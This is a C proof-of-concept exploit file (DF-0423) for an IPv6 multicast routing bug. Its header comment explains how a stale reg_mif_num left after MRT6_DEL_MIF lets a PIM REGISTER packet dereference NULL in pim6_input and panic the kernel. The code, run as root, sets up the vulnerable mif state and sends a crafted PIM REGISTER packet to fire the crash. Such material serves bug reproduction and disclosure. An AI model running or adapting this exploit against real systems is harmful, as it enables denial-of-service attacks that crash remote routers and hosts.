DF-0423 / poc_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 | /* * DF-0423 reproduction: stale reg_mif_num after MRT6_DEL_MIF -> remote NULL-deref. * * Bug (verified by trace): * del_m6if() (ip6_mroute.c:641) zeroes mif6table[N] (-> m6_ifp = NULL) and * recomputes nummifs, but NEVER resets the global reg_mif_num (only cleared * in ip6_mrouter_done, :548). If a REGISTER mif at index N is deleted while a * phyint mif at M>N exists, nummifs stays >= N+1 and mif6table[N].m6_ifp=NULL. * pim6_input's guard (:1744) `reg_mif_num >= nummifs || reg_mif_num==-1' * PASSES (N < nummifs), so if_simloop(mif6table[N].m6_ifp=NULL,...) at :1842 * dereferences NULL -> kernel panic. * * Trigger model: a root-configured IPv6 multicast router (MRT6_INIT + the * specific add/delete order) is left vulnerable; then ANY remote, unauthenticated * PIM REGISTER packet (proto 103) panics the kernel. CVSS AV:N. * * This program (run as root) performs the privileged mrouter setup, then injects * a PIM REGISTER frame as ingress on tap0 (write to /dev/tap0 -> RX path -> * pim6_input) to fire the NULL deref. */ #include <sys/param.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/types.h> #include <ifaddrs.h> #include <net/if.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* MRT6 ioctls / mif6ctl (ip6_mroute.h) */ #include <netinet6/ip6_mroute.h> #ifndef PIM_REGISTER #define PIM_REGISTER 1 #endif #define PIM_V2 2 static int mrt6_cmd(int s, int op, void *arg, int len) { int v = 1; errno = 0; if (setsockopt(s, IPPROTO_IPV6, op, arg, len) < 0) { fprintf(stderr, "[!] setsockopt op=%d: %s\n", op, strerror(errno)); return -1; } return 0; } static uint16_t pim_cksum(const struct in6_addr *src, const struct in6_addr *dst, const uint8_t *pim, int cksumlen) { uint32_t sum = 0; uint8_t ph[40]; int i; memcpy(ph, src, 16); memcpy(ph + 16, dst, 16); ph[32]=0; ph[33]=0; ph[34]=(cksumlen>>8)&0xff; ph[35]=cksumlen&0xff; ph[36]=0; ph[37]=0; ph[38]=0; ph[39]=103; /* IPPROTO_PIM */ const uint16_t *p = (const uint16_t *)ph; for (i=0;i<20;i++) sum += ntohs(p[i]); p = (const uint16_t *)pim; for (i=0;i<cksumlen/2;i++) sum += ntohs(p[i]); while (sum>>16) sum=(sum&0xffff)+(sum>>16); return htons(~sum & 0xffff); } /* find tap0's IPv6 link-local (PIM Register is unicast to the RP/router) */ static int tap0_ll(struct in6_addr *out) { struct ifaddrs *ifa, *p; int rc = -1; if (getifaddrs(&ifa) < 0) return -1; for (p = ifa; p; p = p->ifa_next) { if (strcmp(p->ifa_name, "tap0") != 0) continue; if (p->ifa_addr->sa_family != AF_INET6) continue; struct sockaddr_in6 *s6 = (struct sockaddr_in6 *)p->ifa_addr; if (IN6_IS_ADDR_LINKLOCAL(&s6->sin6_addr)) { *out = s6->sin6_addr; /* clear KAME-embedded scope-id (bytes 2-3) for on-wire form */ out->s6_addr[2] = 0; out->s6_addr[3] = 0; rc = 0; break; } } freeifaddrs(ifa); return rc; } int main(void) { int s, tap; struct mif6ctl mc; mifi_t mif; unsigned int tap_index; struct ifreq ifr; /* 1. raw ICMPv6 socket (ip6_mrouter_init requires so_proto==IPPROTO_ICMPV6) */ s = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6); if (s < 0) { perror("socket RAW ICMPv6"); return 2; } /* 2. MRT6_INIT (ip6_mrouter_init checks m_len == sizeof(int*) == 8 on LP64; * value read as int must be 1). Pass an 8-byte buffer with int 1. */ long one = 1; if (mrt6_cmd(s, MRT6_INIT, &one, sizeof(one)) < 0) { fprintf(stderr, "[!] MRT6_INIT failed\n"); } fprintf(stderr, "[+] MRT6_INIT\n"); /* get tap0 ifindex (needed for both register and phyint mifs) */ memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, "tap0", sizeof(ifr.ifr_name)); if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) { perror("SIOCGIFINDEX tap0"); } tap_index = ifr.ifr_index; fprintf(stderr, "[+] tap0 ifindex=%u\n", tap_index); /* 3. add REGISTER mif at index 0 -> sets reg_mif_num = 0. * (add_m6if rejects pifi==0 before checking MIFF_REGISTER, so pass a * valid ifindex even though the register mif uses multicast_register_if) */ memset(&mc, 0, sizeof(mc)); mc.mif6c_mifi = 0; mc.mif6c_flags = MIFF_REGISTER; mc.mif6c_pifi = tap_index; if (mrt6_cmd(s, MRT6_ADD_MIF, &mc, sizeof(mc)) < 0) {} fprintf(stderr, "[+] ADD_MIF register @0 (reg_mif_num=0)\n"); /* 4. add phyint mif at index 1 (use tap0) -> nummifs=2 */ memset(&mc, 0, sizeof(mc)); mc.mif6c_mifi = 1; mc.mif6c_flags = 0; mc.mif6c_pifi = tap_index; if (mrt6_cmd(s, MRT6_ADD_MIF, &mc, sizeof(mc)) < 0) {} fprintf(stderr, "[+] ADD_MIF phyint @1 (nummifs=2)\n"); /* 5. delete REGISTER mif at index 0 -> zeroes slot, reg_mif_num STAYS 0 */ mif = 0; if (mrt6_cmd(s, MRT6_DEL_MIF, &mif, sizeof(mif)) < 0) {} fprintf(stderr, "[+] DEL_MIF @0 (mif6table[0].m6_ifp=NULL, reg_mif_num still 0)\n"); fprintf(stderr, "[*] state now VULNERABLE: pim REGISTER -> if_simloop(NULL) panic\n"); /* 6. send a PIM REGISTER via a raw IPPROTO_PIM socket (canonical path: * the kernel builds the IPv6 header + computes the PIM checksum via * IPV6_CHECKSUM, and delivers to its own ip6_input -> pim6_input). */ int ps = socket(AF_INET6, SOCK_RAW, IPPROTO_PIM); if (ps < 0) { perror("socket RAW PIM"); } int ckoff = 2; /* PIM checksum is at byte offset 2 */ setsockopt(ps, IPPROTO_IPV6, IPV6_CHECKSUM, &ckoff, sizeof(ckoff)); /* build PIM REGISTER message (no eth/ip6 headers; kernel adds them): * pim[0]=ver|type, pim[1]=reserved, pim[2..3]=cksum(kernel), pim[4..7]= * register border (0), then 40-byte inner IPv6 (ver=6, dst=multicast) */ uint8_t pmsg[8 + 40]; memset(pmsg, 0, sizeof(pmsg)); pmsg[0] = (PIM_V2 << 4) | PIM_REGISTER; /* 0x21 */ pmsg[1] = 0; pmsg[2] = 0; pmsg[3] = 0; /* kernel fills via IPV6_CHECKSUM */ /* pmsg[4..7] = register border = 0 */ struct ip6_hdr *inner = (struct ip6_hdr *)(pmsg + 8); inner->ip6_vfc = 0x60; /* inner version 6 (pim6_input:1788) */ struct in6_addr mcast; inet_pton(AF_INET6, "ff0e::1", &mcast); /* inner dst multicast (:1800) */ inner->ip6_dst = mcast; /* send to ::1 (loopback -- guaranteed delivered to ip6_input -> pim6_input) */ struct sockaddr_in6 to; memset(&to, 0, sizeof(to)); to.sin6_family = AF_INET6; inet_pton(AF_INET6, "::1", &to.sin6_addr); fprintf(stderr, "[+] sending PIM REGISTER (%zu bytes) via raw socket -> ::1\n", sizeof(pmsg)); if (ps >= 0) { if (sendto(ps, pmsg, sizeof(pmsg), 0, (struct sockaddr *)&to, sizeof(to)) < 0) perror("sendto"); } /* give the kernel a moment to process + panic */ sleep(2); fprintf(stderr, "[!] guest still alive -- panic did not fire\n"); if (ps >= 0) close(ps); close(s); return 0; } |